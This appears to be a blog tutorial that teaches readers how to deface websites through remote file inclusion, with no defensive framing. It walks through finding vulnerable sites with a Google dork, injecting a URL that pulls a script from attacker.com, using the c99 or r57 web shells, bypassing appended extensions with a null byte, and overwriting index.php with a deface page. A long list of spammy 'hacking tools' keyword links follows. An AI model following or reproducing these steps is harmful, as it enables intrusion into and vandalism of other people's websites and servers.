HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

More info

1. Pentest Recon Tools
2. Hack And Tools
3. Pentest Tools Alternative
4. Pentest Tools Free
5. Pentest Tools Review
6. Pentest Recon Tools
7. Easy Hack Tools
8. Hacker Hardware Tools
9. Hack Tools For Games
10. Hacking Tools For Mac
11. Android Hack Tools Github
12. Hacking Tools For Games
13. Best Hacking Tools 2019
14. Hack Apps
15. Hack Tool Apk
16. Free Pentest Tools For Windows
17. Pentest Tools Website Vulnerability
18. Hacking Tools For Windows Free Download
19. Pentest Automation Tools
20. Pentest Automation Tools
21. Hacking Tools For Pc
22. Hack App
23. Hack Tools Github
24. Hacking Tools Hardware
25. New Hack Tools
26. Pentest Recon Tools
27. Pentest Tools For Ubuntu
28. World No 1 Hacker Software
29. Tools For Hacker
30. Hack Tools Download
31. How To Hack
32. Pentest Tools For Mac
33. Pentest Tools Android
34. Hack Tools Download
35. Pentest Tools For Windows
36. Hacker Tools List
37. Hacker Tools Free Download
38. Underground Hacker Sites
39. Physical Pentest Tools
40. Pentest Tools Website
41. Hackrf Tools
42. Install Pentest Tools Ubuntu
43. Hacking Tools For Mac
44. How To Make Hacking Tools
45. Beginner Hacker Tools
46. Termux Hacking Tools 2019
47. Underground Hacker Sites
48. Hacking Tools Free Download
49. Hack Tools For Games
50. Pentest Tools Linux
51. Github Hacking Tools
52. Hack Tools
53. Hacking Tools For Games
54. Hacking Tools For Windows 7
55. Hacking Tools For Windows Free Download
56. Hacking Tools 2019
57. Hacker Tools Hardware
58. Pentest Tools Subdomain
59. Computer Hacker
60. Kik Hack Tools
61. Hacking Tools And Software
62. Pentest Tools Android
63. Hacker Tools List
64. Pentest Tools
65. Hacking Tools Download
66. Tools Used For Hacking
67. Hacker Tools Github
68. Pentest Reporting Tools
69. Pentest Tools For Windows
70. Hack Tools For Games
71. Hack Tools For Pc
72. Nsa Hacker Tools
73. Hacking Tools Windows 10
74. How To Install Pentest Tools In Ubuntu
75. Computer Hacker
76. New Hacker Tools
77. Hacker Tools 2019
78. Black Hat Hacker Tools
79. Hacker Tools Github
80. Pentest Tools Website Vulnerability
81. Hacking Tools Software
82. Hack Tools For Games